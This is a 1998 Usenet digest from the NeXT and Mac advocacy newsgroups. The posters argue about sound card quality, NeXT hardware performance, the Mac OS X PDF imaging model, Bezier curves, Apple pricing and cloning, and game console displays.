> built-in wavetable. We both used to play Warcraft II head-to-head, and
> listening to the music between the rooms was strikingly enlightening in
> this regard. His wavetable made it sound much more geniune, lively, and
> overall pleasant to hear. It was truer to the original instruments
> envisioned by the author of the music.
I'd like to emphasize this. I have two PCs sitting side by side here on my
"L" shaped desk. One has an Ensoniq SoundScape Elite and the other has a
SB16Pro. The difference between them, when playing the exact same MIDI file,
is *amazing*.
Another comparison you can easily do--go to a musical instrument store and
listen to a low end Casio or Yamaha keyboard (cheesy) and then a high end
Roland synth (such as a JV-1080). One difference is in the quality of the
onboard samples, for starters. And it is a _big_ difference.
> > >Hm, an AV 040 Mac? If so, he has an AT&T DSP in there offloading those
> > >signal-processing functions from the main CPU.
> >
> > I don't know. But I doubt that a 33mhz 040+DSP would out perform a p100.
>
> I don't know, and you didn't previously mention that there was a
> comparison. You said that he did just fine with his 040 Mac, you didn't
> say that it outperformed a Pentium 100 (which I doubt, anyway, unless
> there was a serious RAM deficiency in the Pentium-based machine; signal
> processing is RAM-intensive).
It also depends upon the quality of the machine's bus and the surrounding
hardware. For example, a 33MHz 68040 NeXT slab with a 56k DSP can give a
P100 box a run for it's money on everything except for a raw test like
Dhrystone that can pretty much sit in the cache and only exercises the CPU.
I think the Intel hardware has a slight edge on user perceived performance,
but not as much as you'd expect for something running at 3X the clock speed.
The reason is that the Color slabs have a very impressive memory
architecture--wider bus to memory and the DMA+I/O channel controller ASIC.
Also, the slabs have built in graphics that are connected such that they are
comparable to a modern AGP port. Not bad for a ca. 1990 design. So many
people forget that there's a *lot* more to good system performance than a
fast CPU chip. (Related: throughput goes up with bus width, not just raw
MHz.) Most high MHz Pentium chips are not performing anywhere near what they
could be doing just because they're inside boxes that really suck.
Note: saying this doesn't automatically mean that Apple's designs are
therefore better. There's room for improvement on all fronts, and all fronts
_are_ improving. Good thing Rubenstein knows what the heck he's doing--he
was a key figure in designing the slabs...and I hope he does a lot of similar
tricks to speed up future Mac hardware. Assuming he does, it should really
kick butt.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Wed, 3 Jun 1998 18:06:25 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1da1oie.1qay520aezixhN@cetus202.wco.com>
References: <6ke4v6$d5n$9@ironhorse.plsys.co.uk> <B1901713-22772@206.165.43.147> <6kejq7$6na$1@bartlet.df.lth.se> <B1906698-5F2F7@206.165.43.154> <1d9pjdq.1drqzt8l2l0zwN@carina43.wco.com> <B1924891-1589E@206.165.43.70> <6kj771$3v3$1@ironhorse.plsys.co.uk> <B1927A7F-2C857@206.165.43.156> <6kjhrh$2fh$1@bartlet.df.lth.se> <rex-2805981447420001@192.168.0.3> <6kkfev$ojb$1@news.cs.tu-berlin.de> <rex-2805981808060001@192.168.0.3> <6km24a$s3m$3@ns3.vrx.net> <B1943079-ED44D@206.165.43.122> <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l141h$ig9$1@news.cs.tu-berlin.de> <rex-0206981543010001@192.168.0.3> <6l1pjm$s30$1@news.cs.tu-berlin.de> <rex-0206981940440001@192.168.0.3> <6l2q9p$cjt$1@news.cs.tu-berlin.de> <rex-0306981328290001@192.168.0.3>
Eric King <rex@smallandmighty.com> wrote:
> Similarly here's the Mac OS X imaging pipeline:
> Application->PDF->Screen
> Application->PDF->Bitmap->Printer
> Application->PDF->Postscript->Printer
> Application->PDF
This turns out not to be the case...
> I'd rather see something like the following, which is similar to how GX
> was structured. Note how the internal representation is never exposed:
> Application->internal representation->Screen
> Application->internal representation->Bitmap->Printer
> Application->internal representation->PDF
> Application->internal representation->Postscript
> Application->internal representation->Postscript->Printer
> Application->internal representation->QTML
Closer...
The actual paths look more like this:
Application->Extended QuickDraw->Screen
Application->Extended QuickDraw->PixMaps->???
Application->Extended QuickDraw->PDF->File
Application->Extended QuickDraw->PDF->Print Sys->RIP->Raster Printer
Application->Extended QuickDraw->PDF->Print Sys->PostScript->Printer
along with lots of variations, including feeding PDF back in later to
draw into PixMaps, using custom RIPs for specific raster printers, and
so on.
Apps never have to directly emit PDF, nor will they have to emit
PostScript in QuickDraw Comments. High end publishing tools such as
Quark may want to directly generate PDF and/or PostScript, and they can.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Wed, 3 Jun 1998 18:06:14 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1da1g6l.1duqiv7ikdwl2N@cetus202.wco.com>
References: <rex-2305981101130001@192.168.0.3> <3566E50C.257D56A2@trilithon.com> <rex-2405980239210001@192.168.0.3> <6k9qea$d5n$1@ironhorse.plsys.co.uk> <rex-2505980225090001@192.168.0.3> <6kca7d$d5n$7@ironhorse.plsys.co.uk> <B18F17D4-38174@206.165.43.100> <6ke4v6$d5n$9@ironhorse.plsys.co.uk> <B1901713-22772@206.165.43.147> <6kejq7$6na$1@bartlet.df.lth.se> <B1906698-5F2F7@206.165.43.154> <1d9pjdq.1drqzt8l2l0zwN@carina43.wco.com> <B1924891-1589E@206.165.43.70> <6kj771$3v3$1@ironhorse.plsys.co.uk> <B1927A7F-2C857@206.165.43.156> <6kjhrh$2fh$1@bartlet.df.lth.se> <B192E0B6-44EE7@206.165.43.40> <jak-2805981110120001@fdialup162.phnx.uswest.net> <B19310E3-26E8D@206.165.43.179> <jak-2905981049520001@adialup109.phnx.uswest.net> <B1947598-35F2A@206.165.43.148> <6knucq$46c$1@news.digifix.com> <B195AF8F-215CF@206.165.43.152> <6kqmcc$3k6$1@news.digifix.com> <B1965026-29DBC@206.165.43.17> <6kt71m$se$1@news.digifix.com> <B1979A5C-B805@206.165.43.180>
Lawson English <english@primenet.com> wrote:
> MS and
> Adobe never followed the rules for GX. Whether this was deliberate or not
> is left for the reader to determine, but I'd like to point out that Word
> 4.0 worked just fine under GX, but Word 5.1 broke
Oooh! The Great Conspiracy grows! Now Microsoft and Adobe are in on it.
Heck, I was probably in on it, until some fellow in a black suit and
sunglasses put that flashy thing in my face.
Can you see the fnords yet?
--
Mike Paquette mpaque@wco.com
"Troubled Microsoft" and the "Troubled Microsoft" logo are
trade and service marks of the Microsoft Corporation.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Wed, 3 Jun 1998 18:06:22 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1da1guz.mquj23ld2t46N@cetus202.wco.com>
References: <6ke4v6$d5n$9@ironhorse.plsys.co.uk> <B1901713-22772@206.165.43.147> <6kejq7$6na$1@bartlet.df.lth.se> <B1906698-5F2F7@206.165.43.154> <1d9pjdq.1drqzt8l2l0zwN@carina43.wco.com> <B1924891-1589E@206.165.43.70> <6kj771$3v3$1@ironhorse.plsys.co.uk> <B1927A7F-2C857@206.165.43.156> <6kjhrh$2fh$1@bartlet.df.lth.se> <rex-2805981447420001@192.168.0.3> <6kkfev$ojb$1@news.cs.tu-berlin.de> <rex-2805981808060001@192.168.0.3> <6km24a$s3m$3@ns3.vrx.net> <B1943079-ED44D@206.165.43.122> <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l0dki$8th$1@ns3.vrx.net> <rex-0206981046500001@192.168.0.3> <35744BAE.8D0074FB@trilithon.com> <rex-0206981607490001@192.168.0.3> <6l1pt1$s9f$1@news.cs.tu-berlin.de> <rex-0206981937120001@192.168.0.3>
Eric King <rex@smallandmighty.com> wrote:
> Opened a window appropriately filled with black. It looks like there
> is some hard limit within Ghostscript on how big certain things can be.
> It doesn't necessarily mean that it's using fixed-point, but there's is a
> floating point coordinate space constraint.
Sounds like you found a hard limit in GhostScript. This certainly isn't
a limit in the PostScript imaging model.
--
Mike Paquette mpaque@wco.com
I'm not an officer, spokesperson, or high muckety-muck of Apple
Computer. I don't speak for Apple, and they don't speak for me.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Wed, 3 Jun 1998 18:06:18 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1da1gmq.1dclo5vm37h6oN@cetus202.wco.com>
References: <rex-2505980225090001@192.168.0.3> <6kca7d$d5n$7@ironhorse.plsys.co.uk> <B18F17D4-38174@206.165.43.100> <6ke4v6$d5n$9@ironhorse.plsys.co.uk> <B1901713-22772@206.165.43.147> <6kejq7$6na$1@bartlet.df.lth.se> <B1906698-5F2F7@206.165.43.154> <1d9pjdq.1drqzt8l2l0zwN@carina43.wco.com> <B1924891-1589E@206.165.43.70> <6kj771$3v3$1@ironhorse.plsys.co.uk> <B1927A7F-2C857@206.165.43.156> <6kjhrh$2fh$1@bartlet.df.lth.se> <rex-2805981447420001@192.168.0.3> <6kkfev$ojb$1@news.cs.tu-berlin.de> <rex-2805981808060001@192.168.0.3> <6km24a$s3m$3@ns3.vrx.net> <B1943079-ED44D@206.165.43.122> <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l0dki$8th$1@ns3.vrx.net> <rex-0206981046500001@192.168.0.3> <35744BAE.8D0074FB@trilithon.com>
Henry McGilton <henry@trilithon.com> wrote:
> Just wrote this:
>
> %!PS
> /Optima-Bold findfont 100000 scalefont setfont
> -10000 0 moveto (H) show
> showpage
>
> Works fine --- what's your complaint about now?
Face it, Henry, the experts posting on this thread say that it can't
work, so your code and output are about to vanish in an intrusion of
quantum mechanical effects into a macroscopic world.
You and I are just a couple of idjits. We should leave the
architectural and design issues to the real pros posting here.
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 03 Jun 1998 21:27:19 -0400
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@crispy-critters
Message-ID: <us5emx6vtvs.fsf@ai.mit.edu>
References: <3574D79C.CE3EB26E@trilithon.com> <B19A3F17-5FA62@206.165.43.119>
"Lawson English" <english@primenet.com> writes:
> The equivalent process for cubic and higher Beziers is more complex and
> requires multiplication, making it less suitable for older machines. It
> should STILL be slower than the equivalent quadratic implementation,
> [...]
There is no equivalent quadratic for most cubics.
> Incidentally, while browsing [Bartels, Beatty and Barsky], I learned
> that a cubic Bezier can ALWAYS be implemented as a composite of 2
> quadratics
I'm almost positive you read this wrong. A cubic Bezier curve is
C2-continuous throughout. Splitting the cubic into two pieces will
only create two (as you put it later in your article) "mathematically
perfect" curve segments if you're lucky enough to start with a
degree-raised quadratic curve to start with.
You can try to fake it, but you're going to end up with error in the
final result, and probably end up with a C2 discontinuity. That won't
fool a lot of people -- it'll feel wrong when you look at it.
But hell, maybe I'm wrong; I didn't write the book on splines. I'll
gladly check BBB if you have a page or chapter reference where it
describes an error-free degree reduction method.
> (and a lower-degree can always be exactly represented by a
> higher-degree Bezier)
This, however, you read correctly.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 3 Jun 1998 16:01:55 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6nasrj.5pt.sal@panix3.panix.com>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com> <3570A750.56BE9808@nstar.net> <slrn6n5jm1.2kj.sal@panix3.panix.com> <3572E0C5.BDEEDD46@nstar.net> <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1@nstar.net> <slrn6n6csr.a9v.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <slrn6n8l25.npd.sal@panix2.panix.com> <357492D8.45AC1CD1@nstar.net>
On Tue, 02 Jun 1998 19:03:36 -0500, Michael J. Peck <mjpeck@nstar.net> wrote:
>> >You're missing the point. I'm talking about an overall quality
>> >*improvement*.
-------^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>> Huh? Has Apple quality been going down? I have not seen that. If anything,
>> Apple is building much nicer hardware no that they have someone with a
>> clue running the show.
>First off: no, I did not claim that Apple quality has been going down.
Are you claiming that Apple quality is not going up?
>> $20 here and $20 there. Plus all the *TIME* you spend dealing with upgreads
>> and "minor incompatibilites" TANSTAAFL. You can pay now or you can pay
>> latter.
>Actually, it's $20 here or $100 there for an external drive enclosure.
Huh? Most Macs I've seen in the past few years have built in expansion
slots/bays.
>Oh, wait, external SCSI on a Mac is limited to 5MB/sec, you may need to
>upgrade to an Adaptec 2940UW. That brings us to $20 here or $400 there.
Or use IDE? (FWIW, 5mb or 10mb SCSI is ok for Zip/Jazz drives, scanners
or cd-burning. And you have other choices besides Adaptec)
>This is misleading and I don't know what it has to do with the
>conversation. I'm saying Apple should give people choices, you *were*
>saying that they shouldn't, now you say lack of choice was the problem.
No. I am saying that Apple failed in the consumer market because they
offered *zero* consumer choices. And cloning did not help. Did you ever
see a Umax or PCC machine for sale? I know I didn't. I saw plenty of PC
clones but never any mac clones.
>> Yes. I don't clip coupons. I don't hunt down a $.05 bargin. It isn't
>> worth my time. I'll buy dry pasta over the fresh pasta in the dairy
>Fine. The model Apple customer.
Someone who wants to get things done and doesn't want to futz around.
The model "non-pc-churn" customer in a nutshell. Buy something that
works and use it.
>My point, in brief, was that you rule out choices when you grocery shop
>if you look for value. There is no guarantee that every choice is a good
>choice. That's not the point. I don't know what *your* point is, but
>that's what I was saying.
My point is that I am not willing to spend-time to save money, unless
the money I save is worth more than the time I spend. My time is very
valuible. I am not going to spend an hour clipping coupons and running
around to three supermakets to save $5. That hour could be spent doing
something worth more to me than $5.
I am not willing to spend time building my own computer, or upgrading
unless I get real value from it. I like things that "just work"
>then, does your NE2000 problem have to do with this conversation. I've
>already said that the NE2000 design is 15 f***ing years old.
It has nothing to do with the ne2k, and everything to do it "cheap
clones" that don't "just work". That is my point. It is worth $25 to
buy a better card that will "just work"
It is worth 10% more to buy a better machine, that will "just work"
With no effort on my part.
>Sometimes it is worth the extra effort to develop competency rather than
>blind dependence.
Sometimes it is worth the extra effort to develop competency rather than
false pride, arrogence and self deception. A good salesman can make more
money in an hour than he can save by learning what an ne2k card is, and
what kind of cards are better. I refer you to basic economics...
BTW, do cut your own hair and perform your own dental work? Shouldn't
you make an effort do "develop competency" rather than maintain your
"blind dependence" on others?
>Even if you trust an integrator you have to spend
>effort developing that trust, or you're just shooting in the dark. The
>point is that you're going to have to be a responsible consumer either
>way; whining that Apple makes everything so simple for a modest fee is
>really no excuse, not when the rest of the market demonstrates so much
>more responsibility.
Apple is a company, not a cult. They have a responsibility to customers
and stock holders. It is thier job to ship products that perform a set
of described functions. IF YOU WANT TO JOIN A CULT GO ELSEWHERE.
>> >Too bad. I know this story. And yes, you're right; the NE2000
>> >compatibility issue is a miserable ordeal to endure.
>> You can see why it would be better to pay a few bucks extra and buy
>> something that "just works"?
>Again, *phwooosh*, right over the heads of my audience. You can get a
>cheap DEC Tulip PCI network card for barely lunch money. You're going to
<<CLIP>>
>The thing is, you have to actually spend 15 minutes of research in the
>*avalanche* of material covering these subjects. It takes less time to
TANSTAAFL. You can *hire* someone to take care of networking or you
can spend time going through the avalance of stuff and learn for yourself.
I don't think you'll find where to start in 15 minutes, IMHO. Most
users know very little (if anything) about computers.
>> QA. It takes time and cost money. Are you goign to build 10k machiens
>> for a fortune 500 company yourself? Of course not. You'll have to hire
>> people and train them and pay them. That costs money. And as part change
>> you'll have to retrain them.
>I'm old enough to understand the basic employment model, but what I
>don't understand is where you happen to be going with this.
It costs more to build a better product. I can't believe you can't see this.
>> >DataComm Warehouse, $50. Again, for a wholesaler, maybe $35 in lots of
>> >100.
>> That is more than the $20 price for a no-name ne2k clone. Can't you see my
>> point yet? Building better hardware costs more money.
>More money than what?
Than building a lower quality product. This is basic economics.
>high ground, I'm terribly confused, because *my* solutions are cheaper
>*AND* better than Apple's. Yours are just cheaper.
No, yours is *more expensive* since you spent time. Time isn't an easily
quantifible resource, but it does have value.
>> I'm sure Apple users have march to CompUSA (at gunpoint) to buy a Joystick.
>> It isn't like they can also shop around. This is off topic.
>I don't really get Mac mail-order magazines anymore, Salvatore. Would
>you be a luv and look it up for me?
Ask Joe. I mail order catalogs go directly from mailbox to recyling bin in
my apartment. I don't waste time shopping for things I don't need.
>> I hate to but your bubble, but Apple (under Jobs) has made a major
>Oh, whatever! The USB and AGP decisions were made before Jobs joined
APG didn't exist before Jobs arrived at Apple. Apple had designed its
own "perch slot" and it is now moving to AGP. As far as USB the first
time Apple said anything was at the iMac demo.
>> huh? Haven't you noticed that Apple is taking advantage of the commodity
>> market? IDE disks and CDs. USB. PCI slots. SDRAM. This is all PC standard
>> stuff.
>Every single one of the above was something I *FERVENTLY* applauded at
>the time the decisions were made.
Then why do you suggest that Apple is *not* using PC commodity hardware?
>realized that Apple's committment to the strategy was *again* in flux
>(CHRP died) and things went back to normal.
CHRP became the g3 motherboards. Someone even suggested that IBM's CHRP
tester identifies the g3 as CHRP without PS/2 ports or EPP. The board
is even in ATX format, just like the CHRP spec states it should be.
>Oh, is *that* what that is?! Ha ha ha ha ha ha!!!!
Insults? I guess I am proving my point.
>> Are you not aware that Apple *IS* using PC hardware?
>Uh, Sal, you can't have it both ways. Is Apple hardware different and
>more expensive or is it the same and more expensive?
>
>Welcome to your own little semantic trap.
It is mostly the same, and is more expensive because they *can* charge
more. Apple is selling g3s as fast as they can make them and margins are
going up. When demand slows down, the prices will drop.
A second reason why they cost more is due to the greater QA costs.
>Actually, I rather think that high prices are keeping demand *low*.
>Apple's marketshare isn't increasing, is it, Salvatore? I wonder why
>that is...
Marketshare *grew* last quarter.
>> Simple supply and demand economics.
>No, you've described something you just made up: "price and demand
>economics". There is actually no such thing.
No. Are you aware that Apple's market share grew last quarter? And that
margins also grew? And that Apple is the only PC maker in the top ten
that had margins grow? (This was mentioned in a techweb article)
>> >MacOSRumors provides faintly-glimmering hope for an Intel MacOS X.
>> ------^^^^^^
>> (Key word hilighted)
>You're so silly.
More insults? I hate to see things like this get repeated. Eventualy someone
makes the jump from calling it a "rumor" to cxalling it "news"
>> >Wrong. I'm not interested. Sorry, see ya later, Apple.
-------^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>> Well, if you want to throw the baby out with the bath water, go ahead. I
>> don't see any issues with using a 3rd party X server.
>Hell, why not? A 3rd party is less likely to abandon its own products
>than Apple is, anyway. Considering Apple's track record, maybe it had
>better be a 3rd party thing.
You just said that you were not interested in a 3rd party X server. And
now you say that it would be better from a 3rd party? Make up your mind.
>> >Let me put it this way: diminishing returns is a very real phenomenon,
>> Thank you. That was my point.
>You know, that's really very dishonest thing to do. I'm disappointed,
Making my point is a dishonest thing to do? Shheessshhh.
>> >It has nothing to do with cloning and everything to do with Apple.
>> I don't follow. Are you saying that cloning was bad for Apple?
>I'm saying Apple was bad for cloning.
What crap. Apple couldn't get cloning to increase market share. Gil
tried for over a year and market share was sinking fast. It didn't work.
--
sal@panix.com
Salvatore Denaro
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Wed, 03 Jun 1998 12:38:32 -0700
Organization: UC Irvine
Message-ID: <atlauren-0306981238320001@jungleland.acs.uci.edu>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <6l1p8q$ak3$1@newsfep1.sprintmail.com> <6l23dm$84s$1@nnrp1.dejanews.com> <justincsNOSPAM-0206982119070001@ip116.pontiac2.mi.pub-ip.psi.net>
_3;X4o1Yg^$]=Oc\u
In article
<justincsNOSPAM-0206982119070001@ip116.pontiac2.mi.pub-ip.psi.net>,
justincsNOSPAM@psi.net (Justin Case) wrote:
>Not
>only can I play very, very good 64-bit console games on it, but watch TV,
>rent videos, do cable, watch DVD movies in Dolby Pro Logic and all *with*
>superior component Hi-Fidelity/digital sound.
Let's veer off a bit, and discuss upgrading for new features, vs being
happy with what you already have.
Justin, I notice that you've rattled off a rather impressive home theater
setup. However, no DTS or AC-3 decoder? Why?
I have a ProLogic receiver, and a friend of mine just upgraded to a
receiver with a DTS/AC3 decoder, and he keeps going on about its technical
superiority over ProLogic, and how all this music is being issued which
utilizes the decoder in a home theater, sending music to the different
channels, yadda yadda yadda.
I'm thinking: This is quadrophonic stereo, all over again.
Or am I missing something?
-Andrew
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
From: gcheng@uni.uiuc.edu (Guanyao Cheng)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: 3 Jun 1998 20:10:32 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6l4ajo$fs4$1@vixen.cso.uiuc.edu>
References: <edremy-ya02408000R0206981803490001@nnrp.usc.edu> <B19ADC53-174E2D5@141.214.128.36> <edremy-ya02408000R0306981019150001@nnrp.usc.edu>
edremy@chem1.usc.edu (edremy) writes:
>Third, most consoles don't have Internet play. (Some do have modems now.)
>The AI in any game made today is lame- humans are far better.
>The Nintendo64 is pretty amazing given its price, but it's not real
>competition for PC/Mac games.
Play 4 player Goldeneye on a N64 and be amazed. It is awesome.
Guanyao Cheng
--
Guanyao Cheng "And I personally assure you, everybody here, that
gcheng@uiuc.edu if Deep Blue will start playing competitive
http://www.uiuc.edu/ph chess, I personally guarantee you I'll
/www/gcheng tear it to pieces" -- Garry Kasparov
From: "James V. Bona III" <bona@home.com>
Newsgroups: comp.sys.next.advocacy
Subject: DR2 Rhapsody
Date: Wed, 03 Jun 1998 12:56:56 -0700
Organization: Honeywell, Air Transport Systems Division; Phoenix, AZ
Message-ID: <3575AA88.5B521CE8@home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
I'm a little confussed on Apple's developer program. What exactly
do I need to join to get the developer release of Rhapsody?
Thank you,
James
From: "Mark Kronquist" <mak@teleport.com>
Newsgroups: comp.sys.next.advocacy
Subject: HELP NEXT NEWBIE
Organization: CSL Software
Mime-version: 1.0
Content-type: text/plain; charset="iso-8859-1"
Content-transfer-encoding: 7bit
Message-ID: <pOnd1.124$lR2.72805@news.teleport.com>
Date: Thu, 04 Jun 1998 02:40:21 GMT
NNTP-Posting-Date: Wed, 03 Jun 1998 19:40:21 PDT
How the heck do I launch Writenow.app? I try double clicking in the
workspace manager...shift clicking, right clicking right left clicking....
New to Next...thanks
Mark
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Date: 3 Jun 1998 21:05:02 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <6l4dpu$rjh$3@news01.btx.dtag.de>
References: <6kfqnb$4jj$1@newsfep2.sprintmail.com> <jayfar-2605982311490001@downtown1-18.slip.netaxs.com> <morbius-2605982210170001@1cust85.tnt1.santa-monica2.ca.da.uu.net> <jayfar-2705980213030001@downtown1-4.slip.netaxs.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Jayfar <jayfar@netaxs.com> wrote:
> In considering the moral character of the two Steves, I like to compare
> them to two recent U.S. presidents: Jobs is Richard Nixon; Woz is Jimmy
> Carter.
And Gates is like a german leader of state who had power much too long -
no, not Hitler but Helmut Kohl. Both had their biggest success fall
right into their lap and are making people think it's not so.
Lars T.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 3 Jun 1998 14:45:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19B11C3-1A080@206.165.43.102>
References: <6l42s0$1eu$1@news.cs.tu-berlin.de>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Marcel Weiher <marcel@cs.tu-berlin.de> said:
[abstraction of image instead of straight-forward pdf format]
>This is a good idea, but every 'abstract' layer is going to turn into
>a concrete implementation. For example, the whole purpose of Postscript
>was to serve as an abstract layer between concrete imaging devices.
That was the idea behind GX printing, also. It works reasonably well.
Better would be an OOP library that allows one to extend the library and
distribute pre-press-edit versions of your extensions.
E.G., GX has 11 or so graphical types. If you invent a new type (e.g.
ellyptical color ramp fill), you could not only sell a program/library that
allowed the user to edit that particular shape-type during
content-creation, but would handle the saving of that shape-type into a
GX-picture-like object in a PDF file as well as the translation into
standard PDF format (my take on Mike Paquette's reference to
pdf-as-graphics-metafile).
In order for GX-like pre-press to occur, the recipient of that pdf file
would need a copy (pre-press version?) of your library. If they have it,
they can fully edit the object-based version of the image ala GX printing
extensions. All such edits are converted into pdf. A draft/versioning
mechanism might be useful here. If they don't have your library handy, they
can only do standard pdf-based pre-press. By working directly on the pdf
file, they lose the coordination between the custom objects and pdf and the
file would have to be marked as standard pdf-only.
This would work, wouldn't it? I think that it would be very useful and
would satisfy your objections to the limitations inherent in the GX style
of pre-press.
----------------------------------------------------------------------
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<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: justincsNOSPAM@psi.net (Justin Case)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Wed, 03 Jun 1998 17:42:44 -0500
Organization: Oh, for the hell of it.
Message-ID: <justincsNOSPAM-0306981742450001@ip196.pontiac.mi.pub-ip.psi.net>
References: <edremy-ya02408000R0206981803490001@nnrp.usc.edu> <B19ADC53-174E2D5@141.214.128.36> <edremy-ya02408000R0306981019150001@nnrp.usc.edu> <justincsNOSPAM-0306981404010001@ip231.pontiac.mi.pub-ip.psi.net> <6l4c6j$d78@yobi.sierra.com>
-y%"%xcYz/}y+:xU3BN;]\1<'w@TnK1[_d9)>|(Z{XP1+6@2c?w\kAE0l;jn),:.Bl/B
TD(@MtZ''BCd^X}97=;v`4~%bNx+5bYnFhHC!Q4V"\:@XY:sL"B5$$8:54<"mAKy77!l
In article <6l4c6j$d78@yobi.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
> Justin Case wrote in message ...
> >
> >NTSC graphics are set at 640x480 @ 30 fps. Colors will only bleed if the
> >producer of the game hasn't a clue what NTSC 'safe' colors are. There are
> >thousands upon thousands of colors that are NTSC 'safe'. Most computer
> >games play at a 'thousands' setting, if not 256 colors, so your point
> >is...?
>
> You're pushing NTSC to get 640x480. A lot of TV's just don't have that kind
> of resolution. My 60" does.
I beg to differ, Earl. BUT - so not to seem arguementative with your above
statement, why don't you tell us the standard resolution for NTSC then?
> What good are thousands of colors if those are poor colors? 256 colors can
Hmmm, last time I checked, no two computer monitors or televisions display
the same color equally, EVEN when the monitors come off the assembly line
one after the other by the same manufacturer. Until we Americans,
Canadians and Japanese get on a better color spacing standard, like LAB
color or some other standard similar to CIE of the Europeans, what's the
point. NTSC colors can be indexed and carefully selected - the problem is
the spacing standards that both PC monitors and televisions share.
> be 256 very accurate (from a palette of 24bit colors) that are nearly
> indistingushable from full 24bit images.
Hello dithering - good bye actual color blends! Indexed color palettes
live in the NTSC world too.
--Justin
"What's new, Normie?"
"Terrorists, Sam. They've taken over my stomach and they're demanding beer."
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Wed, 03 Jun 1998 22:37:58 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35761696.66821BB@nstar.net>
